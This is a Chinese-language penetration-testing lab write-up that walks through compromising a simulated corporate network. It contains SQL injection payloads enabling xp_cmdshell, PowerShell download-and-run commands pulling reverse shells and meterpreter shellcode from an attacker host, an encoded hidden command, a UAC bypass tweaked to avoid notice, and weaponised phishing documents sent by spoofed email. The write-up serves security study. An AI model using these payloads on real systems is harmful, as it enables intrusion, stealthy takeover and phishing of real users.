无弹窗渗透测试实验

发表于:2018-2-08 13:20

字体: | 上一篇 | 下一篇 | 我要投稿

 作者:niexinming@n0tr00t    来源:安全客

  0x01 前渗透
  内网拓扑说明:
  10.101.101.0/24 网段模拟的是外网的地址  
  192.168.101.0/24 网段模拟的是一个小型企业的内网中的应用服务器网络  
  192.168.111.0/24 网段模拟的是一个小型企业的内网中的办公网络  
  企业内网可以无限制的访问到外网,但是外网无法访问到企业内网  
  办公网可以无限制的访问到应用服务器网络,但是应用服务器网络无法访问到办公网络
  部分服务器打了全部的补丁,并且保持正常更新
  内网拓扑图:
  扫描 10.101.101.13 后发现此服务器开放 80、82 端口, Win2008 系统,80 端口处发现 SQL 注入,获取数据库和数据库所在服务器版本:
  http://10.101.101.13/?page=1
   and @@version>0 --
  数据库是 2008r2 的,所在的操作系统是 Win2008 或 Win7,随后看数据库:
  http://10.101.101.13/?page=1;if
   IS_SRVROLEMEMBER('sysadmin')=1 waitfor delay '0:0:5' --
  这个语句测试数据库的权限,发现有延时,证明是有数据库的权限是dba的权限,打开 xp_cmdshell 的限制,创建临时表执行命令并将结果写入新创建的临时表中:
  EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;  
  http://10.101.101.13/?page=1;create table temp(id int identity(1,1),a varchar(8000));--
  http://10.101.101.13/?page=1;insert into temp exec master.dbo.xp_cmdshell 'ipconfig /all';--
  读取结果:
  http://10.101.101.13/?page=1
   and (select substring((select a from temp for xml auto),1,4000))>0--
  看上去这个网站是站库分离的网站,用这种方法执行 ping 10.101.101.16 ,发现数据库服务器可以通外网,获取这些信息之后,我 drop table temp 删除创建的临时表。在获取到这么多信息了之后,在自己机子上开一个 Web 站点下载 nishang 的 powershell 的反弹脚本到自己的 Web 服务器上:https://github.com/samratashok/nishang
  nv -lvvp 8888 监听等待反弹,然后执行:
  http://10.101.101.13/?page=1;exec
   master..xp_cmdshell 'powershell IEX (New-Object Net.WebClient).DownloadString('
  http://10.101.101.13/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp
   -Reverse -IPAddress 10.101.101.13 -port 8888';--
  但是数据库权限并不高,现在我将用 Powershell 远程加载并执行exe的脚本执行 ms15-051 ,Ps 脚本地址:https://github.com/clymb3r/PowerShell/blob/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1 ,执行:
  IEX (New-Object Net.WebClient).DownloadString('
  http://10.101.101.13/Invoke-ReflectivePEInjection.ps1');Invoke-ReflectivePEInjection
   -PEUrl 
  http://10.101.101.13/x86/ms15-051.exe
   -ExeArgs "cmd" -ForceA
  可以看到提权没有成功,并且换一个 Exploit 也没成功:
  继续使用 msf 探测,开启 msf 监听功能:
  执行,从数据库主机上反弹一个 meterpreter 连接:
  http://10.101.101.13/?page=1;exec
   master..xp_cmdshell('IEX(New-Object Net.WebClient).DownloadString("
  http://10.101.101.16/CodeExecution/Invoke-Shellcode.ps1"
  ;)
  Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 10.101.101.16 -lport 4444 -force')
  随后用 use auxiliary/scanner/smb/smb_version扫描 smb 获取内网信息,发现 mail 服务器,然后用 use auxiliary/scanner/portscan扫描端口,发现开放 80 25 110 端口:
  使用 use auxiliary/server/socks4a 代理进内网后在 82 断口处发现了惊喜:
  通过弱口令轻松进入到后台,发现一个可以生成静态站的地方:
  把自定义静态页面存储主路径改成 1.asp ,然后编辑一篇文章把木马代码放进去,重新生成静态页面 GetShell :
  这个服务器的 82 不能执行cmd,不支持aspx,不能跨目录到umail,但是在一个奇怪的地方发现一个一份企业通讯录,下载下来看到管理员邮箱:
  于是想到用伪造邮件的方法来钓管理员,参考两篇文章:
  http://www.freebuf.com/vuls/144054.html
  http://www.91ri.org/15506.html
  第一种方法:首先用 CVE-2017-8570 Explot 做一个钓鱼用的 ppsx ,由于原来的 exp 要用 Poershell 下载 shell.exe 再执行,这样容易被杀软发现,并且原来的 exp 执行反弹回来的 shell 权限不够,所以要考虑绕过 UAC ,让管理员点击恶意的 ppsx 后静默反弹一个高权限的shell ,如果用 nishang 给的 Invoke-PsUACme.ps1 ,执行之后会有一个一闪而过的黑框框,很让人感到怀疑,去掉这个一闪而过的黑框框很简单,因为我用 oobe 的方法在 Win7 上绕过 UAC ,所以我在这里只介绍在这种条件下去掉黑框框的方法,首先去掉 Invoke-PsUACme.ps1 第206行的 & $execpath 代码,之后在调用 Invoke-PsUACme 的时候 -payload 参数写上你要执行的命令,最后用 rundll32.exe 静默启动 C:/Windows/System32/oobe/setupsqm.exe
  IEX(New-Object Net.WebClient).DownloadString("
  http://10.101.101.16/uacchm.ps1"
  ;)
  换掉原来 exp 里面的 Powershell 调用语句,其中 uacchm.ps1 的内容是:
  IEX (New-Object System.Net.WebClient).DownloadString('
  http://10.101.101.16/nishang/Escalation/Invoke-PsUACme.ps1'
  ;)
  Invoke-PsUACme -method oobe -Payload 'powershell -win hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwADEALgAxADAAMQAuADEANgAvAGMAaABtAC4AcABzADEAJwApAA=='
  Start-Process -FilePath rundll32.exe -ArgumentList 'javascript:"..mshtml,RunHTMLApplication ";new%20ActiveXObject("WScript.Shell").Run("C:/Windows/System32/oobe/setupsqm.exe",0,true);self.close();'
  而其中enc后面的数据是经过下面的代码编码而成:  
  $command = "IEX (New-Object Net.WebClient).DownloadString('
  http://10.101.101.16/chm.ps1')"
  ;
  $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes)
  powershell.exe -EncodedCommand $encodedCommand
  编码的内容:
  IEX (New-Object System.Net.WebClient).DownloadString('http://10.101.101.16/chm.ps1';)
  chm.ps1:
  IEX (New-Object System.Net.WebClient).DownloadString("http://10.101.101.16/powersploit/CodeExecution/Invoke-Shellcode.ps1";); Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 10.101.101.16 -lport 7777 -force
  改好的 exp https://github.com/niexinming/safe_tool/blob/master/cve-2017-8570_toolkit.py  ,用法是:先生成一个恶意的ppsx
  python cve-2017-8570_toolkit.py -M gen -w car.ppsx -u 
  http://10.101.101.16:82/logo.doc
  在 82 端口开启服务:
  python cve-2017-8570_toolkit.py -p 82 -M exp -e 10.101.101.16
  Ps: 好多时候这个漏洞复现不成功,可以将查看 文件 -> 选项,点击 信任中心设置,去掉设置中的所有勾取选项即可:
  第二种方法比较简单,用 easy chm 做一个恶意的 chm :
  其中我做的 test.html 我放在了 https://github.com/niexinming/safe_tool/blob/master/test.html Ps: 由于PARAM的value的长度似乎有某种限制,所以我把
  IEX (New-Object Net.WebClient).DownloadString("
  http://10.101.101.16/uacchm.ps1"
  ;)
  base64 编码之后放入 PARAM 的 value 中 :
  两个恶意的文件都制作好后用 swaks 伪造邮件把这两个文档发送出去:
  现在静静等待管理员点击我们的恶意文件,启动msf的 exploit/multi/handler 模块时候用 exploit -j 就可以让 msf 在后台等待管理员上钩了。


上文内容不用于商业目的,如涉及知识产权问题,请权利人联系博为峰小编(021-64471599-8017),我们将立即处理。
21/212>
《2023软件测试行业现状调查报告》独家发布~

关注51Testing

联系我们

快捷面板 站点地图 联系我们 广告服务 关于我们 站长统计 发展历程

法律顾问:上海兰迪律师事务所 项棋律师
版权所有 上海博为峰软件技术股份有限公司 Copyright©51testing.com 2003-2024
投诉及意见反馈:webmaster@51testing.com; 业务联系:service@51testing.com 021-64471599-8017

沪ICP备05003035号

沪公网安备 31010102002173号